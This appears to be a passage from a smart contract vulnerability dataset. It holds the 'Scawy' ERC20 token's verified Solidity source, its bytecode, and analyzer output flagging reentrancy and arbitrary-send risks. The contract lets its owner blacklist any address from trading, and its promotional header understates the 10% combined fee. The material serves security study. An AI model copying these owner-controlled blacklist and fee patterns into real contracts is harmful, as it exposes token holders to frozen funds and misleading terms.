19250505060405180910390a1505050565b60058060000154908060010154905082565b60078060000154908060010154905082565b600061118282600760408051908101604052908160008201548152602001600182015481525050611625565b9050919050565b60006111b582600560408051908101604052908160008201548152602001600182015481525050611625565b9050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561121757600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561125357600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b61131b828261132a565b151561132657600080fd5b5050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b611400826001836040518082805190602001908083835b6020831015156113bf578051825260208201915060208101905060208303925061139a565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061165c90919063ffffffff16565b7fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a8282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561149557808201518184015260208101905061147a565b50505050905090810190601f1680156114c25780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b611551826001836040518082805190602001908083835b60208310151561151057805182526020820191506020810190506020830392506114eb565b6001836020036101000a03801982511681845116808217855250505050505090500191505090815260200160405180910390206116ba90919063ffffffff16565b7fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b7004898282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156115e65780820151818401526020810190506115cb565b50505050905090810190601f1680156116135780820380516001836020036101000a031916815260200191505b50935050505060405180910390a15050565b6000611654826020015161164684600001518661171890919063ffffffff16565b61175390919063ffffffff16565b905092915050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600080600084141561172d576000915061174c565b828402905082848281151561173e57fe5b0414151561174857fe5b8091505b5092915050565b6000818381151561176057fe5b049050929150505600a165627a7a7230582002ad7ab5743a78acf1ce45b3e8934f2705f3e9bc9057f52b114d2c2c05d07d420029
{"success": true, "error": null, "results": {}}
411
0x21676adAe08bbcEEdC87ec090BddD0Ea88A1735F
/** *Submitted for verification at Etherscan.io on 2021-10-19 */ /* Scawy needs attention because he can't do it on his own. So help him grow, make him happy and he will ride along. You never know with a ghost, he may even scare you. website - https://scawy.io telegram - https://t.me/ScawyERC instagram - https://www.instagram.com/so_scawy/ opensea - https://opensea.io/collection/scawy No presale, public or private No dev tokens, no marketing tokens, developers will be compensated by a small fee on each transaction. Total supply = 8,008,580,085, initial buy limit 50,000,000 2% redistribution 30 seconds cooldown on each buy. */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract SCAWY is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 8008580085 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "Scawy"; string private constant _symbol = "SCAWY"; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _DevAddress; address payable private _MarketingAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable DevAddress, address payable MarketingAddress) { _DevAddress = DevAddress; _MarketingAddress = MarketingAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_DevAddress] = true; _isExcludedFromFee[_MarketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 2; _teamFee = 8; if (from != owner() && to != owner()) { if (cooldownEnabled) { if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) { require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only"); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(tradingOpen); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _DevAddress.transfer(amount.div(2)); _MarketingAddress.transfer(amount.div(2)); } function manualswap() external { require(_msgSender() == owner()); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == owner()); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function openTrading() external onlyOwner() { _maxTxAmount = 50000000 * 10**9; tradingOpen = true; } function addLiquidity() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x6080604052600436106101185760003560e01c8063715018a6116100a0578063c3c8cd8011610064578063c3c8cd8014610317578063c9567bf91461032c578063d543dbeb14610341578063dd62ed3e14610361578063e8078d94146103a757600080fd5b8063715018a61461026c5780638da5cb5b1461028157806395d89b41146102a9578063a9059cbb146102d7578063b515566a146102f757600080fd5b8063273123b7116100e7578063273123b7146101d9578063313ce567146101fb5780635932ead1146102175780636fc3eaec1461023757806370a082311461024c57600080fd5b806306fdde0314610124578063095ea7b31461016457806318160ddd1461019457806323b872dd146101b957600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b50604080518082019091526005815264536361777960d81b60208201525b60405161015b9190611a5b565b60405180910390f35b34801561017057600080fd5b5061018461017f3660046118ec565b6103bc565b604051901515815260200161015b565b3480156101a057600080fd5b50676f243127f1b152005b60405190815260200161015b565b3480156101c557600080fd5b506101846101d43660046118ac565b6103d3565b3480156101e557600080fd5b506101f96101f436600461183c565b61043c565b005b34801561020757600080fd5b506040516009815260200161015b565b34801561022357600080fd5b506101f96102323660046119de565b610490565b34801561024357600080fd5b506101f96104d8565b34801561025857600080fd5b506101ab61026736600461183c565b6104fc565b34801561027857600080fd5b506101f961051e565b34801561028d57600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b557600080fd5b50604080518082019091526005815264534341575960d81b602082015261014e565b3480156102e357600080fd5b506101846102f23660046118ec565b610592565b34801561030357600080fd5b506101f9610312366004611917565b61059f565b34801561032357600080fd5b506101f9610643565b34801561033857600080fd5b506101f9610670565b34801561034d57600080fd5b506101f961035c366004611a16565b6106ba565b34801561036d57600080fd5b506101ab61037c366004611874565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b357600080fd5b506101f961078c565b60006103c9338484610b3e565b5060015b92915050565b60006103e0848484610c62565b610432843361042d85604051806060016040528060288152602001611c2c602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611094565b610b3e565b5060019392505050565b6000546001600160a01b0316331461046f5760405162461bcd60e51b815260040161046690611aae565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146104ba5760405162461bcd60e51b815260040161046690611aae565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146104ef57600080fd5b476104f9816110ce565b50565b6001600160a01b0381166000908152600260205260408120546103cd90611153565b6000546001600160a01b031633146105485760405162461bcd60e51b815260040161046690611aae565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006103c9338484610c62565b6000546001600160a01b031633146105c95760405162461bcd60e51b815260040161046690611aae565b60005b815181101561063f576001600660008484815181106105fb57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061063781611bc1565b9150506105cc565b5050565b6000546001600160a01b0316331461065a57600080fd5b6000610665306104fc565b90506104f9816111d7565b6000546001600160a01b0316331461069a5760405162461bcd60e51b815260040161046690611aae565b66b1a2bc2ec500006012556011805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146106e45760405162461bcd60e51b815260040161046690611aae565b600081116107345760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610466565b610751606461074b676f243127f1b152008461137c565b906113fb565b60128190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146107b65760405162461bcd60e51b815260040161046690611aae565b601154600160a01b900460ff16156108105760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610466565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561084c3082676f243127f1b15200610b3e565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561088557600080fd5b505afa158015610899573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bd9190611858565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561090557600080fd5b505afa158015610919573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093d9190611858565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561098557600080fd5b505af1158015610999573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109bd9190611858565b601180546001600160a01b0319166001600160a01b039283161790556010541663f305d71947306109ed816104fc565b600080610a026000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610a6557600080fd5b505af1158015610a79573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9e9190611a2e565b50506011805461ffff60b01b19811661010160b01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610b0657600080fd5b505af1158015610b1a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061063f91906119fa565b6001600160a01b038316610ba05760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610466565b6001600160a01b038216610c015760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610466565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cc65760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610466565b6001600160a01b038216610d285760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610466565b60008111610d8a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610466565b6002600a556008600b556000546001600160a01b03848116911614801590610dc057506000546001600160a01b03838116911614155b1561103757601154600160b81b900460ff1615610ea7576001600160a01b0383163014801590610df957506001600160a01b0382163014155b8015610e1357506010546001600160a01b03848116911614155b8015610e2d57506010546001600160a01b03838116911614155b15610ea7576010546001600160a01b0316336001600160a01b03161480610e6757506011546001600160a01b0316336001600160a01b0316145b610ea75760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610466565b601254811115610eb657600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158015610ef857506001600160a01b03821660009081526006602052604090205460ff16155b610f0157600080fd5b6011546001600160a01b038481169116148015610f2c57506010546001600160a01b03838116911614155b8015610f5157506001600160a01b03821660009081526005602052604090205460ff16155b8015610f665750601154600160b81b900460ff165b15610fca57601154600160a01b900460ff16610f8157600080fd5b6001600160a01b0382166000908152600760205260409020544211610fa557600080fd5b610fb042601e611b53565b6001600160a01b0383166000908152600760205260409020555b6000610fd5306104fc565b601154909150600160a81b900460ff1615801561100057506011546001600160a01b03858116911614155b80156110155750601154600160b01b900460ff165b1561103557611023816111d7565b47801561103357611033476110ce565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061107957506001600160a01b03831660009081526005602052604090205460ff165b15611082575060005b61108e8484848461143d565b50505050565b600081848411156110b85760405162461bcd60e51b81526004016104669190611a5b565b5060006110c58486611baa565b95945050505050565b600e546001600160a01b03166108fc6110e88360026113fb565b6040518115909202916000818181858888f19350505050158015611110573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61112b8360026113fb565b6040518115909202916000818181858888f1935050505015801561063f573d6000803e3d6000fd5b60006008548211156111ba5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610466565b60006111c461146b565b90506111d083826113fb565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061122d57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561128157600080fd5b505afa158015611295573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b99190611858565b816001815181106112da57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113009130911684610b3e565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac94790611339908590600090869030904290600401611ae3565b600060405180830381600087803b15801561135357600080fd5b505af1158015611367573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60008261138b575060006103cd565b60006113978385611b8b565b9050826113a48583611b6b565b146111d05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610466565b60006111d083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061148e565b8061144a5761144a6114bc565b6114558484846114ea565b8061108e5761108e600c54600a55600d54600b55565b60008060006114786115e1565b909250905061148782826113fb565b9250505090565b600081836114af5760405162461bcd60e51b81526004016104669190611a5b565b5060006110c58486611b6b565b600a541580156114cc5750600b54155b156114d357565b600a8054600c55600b8054600d5560009182905555565b6000806000806000806114fc87611621565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061152e908761167e565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461155d90866116c0565b6001600160a01b03891660009081526002602052604090205561157f8161171f565b6115898483611769565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115ce91815260200190565b60405180910390a3505050505050505050565b6008546000908190676f243127f1b152006115fc82826113fb565b82101561161857505060085492676f243127f1b1520092509050565b90939092509050565b600080600080600080600080600061163e8a600a54600b5461178d565b925092509250600061164e61146b565b905060008060006116618e8787876117dc565b919e509c509a509598509396509194505050505091939550919395565b60006111d083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611094565b6000806116cd8385611b53565b9050838110156111d05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610466565b600061172961146b565b90506000611737838361137c565b3060009081526002602052604090205490915061175490826116c0565b30600090815260026020526040902055505050565b600854611776908361167e565b60085560095461178690826116c0565b6009555050565b60008080806117a1606461074b898961137c565b905060006117b4606461074b8a8961137c565b905060006117cc826117c68b8661167e565b9061167e565b9992985090965090945050505050565b60008080806117eb888661137c565b905060006117f9888761137c565b90506000611807888861137c565b90506000611819826117c6868661167e565b939b939a50919850919650505050505050565b803561183781611c08565b919050565b60006020828403121561184d578081fd5b81356111d081611c08565b600060208284031215611869578081fd5b81516111d081611c08565b60008060408385031215611886578081fd5b823561189181611c08565b915060208301356118a181611c08565b809150509250929050565b6000806000606084860312156118c0578081fd5b83356118cb81611c08565b925060208401356118db81611c08565b929592945050506040919091013590565b600080604083850312156118fe578182fd5b823561190981611c08565b946020939093013593505050565b60006020808385031215611929578182fd5b823567ffffffffffffffff80821115611940578384fd5b818501915085601f830112611953578384fd5b81358181111561196557611965611bf2565b8060051b604051601f19603f8301168101818110858211171561198a5761198a611bf2565b604052828152858101935084860182860187018a10156119a8578788fd5b8795505b838610156119d1576119bd8161182c565b8552600195909501949386019386016119ac565b5098975050505050505050565b6000602082840312156119ef578081fd5b81356111d081611c1d565b600060208284031215611a0b578081fd5b81516111d081611c1d565b600060208284031215611a27578081fd5b5035919050565b600080600060608486031215611a42578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611a8757858101830151858201604001528201611a6b565b81811115611a985783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611b325784516001600160a01b031683529383019391830191600101611b0d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611b6657611b66611bdc565b500190565b600082611b8657634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ba557611ba5611bdc565b500290565b600082821015611bbc57611bbc611bdc565b500390565b6000600019821415611bd557611bd5611bdc565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104f957600080fd5b80151581146104f957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d794946cd3f0e2f2a4fc32d2035ff684518aa0285153903e293de72a2fd53b6a64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
412
0x939fb9b62802911449dafd1fd9a752cbbd4150f0
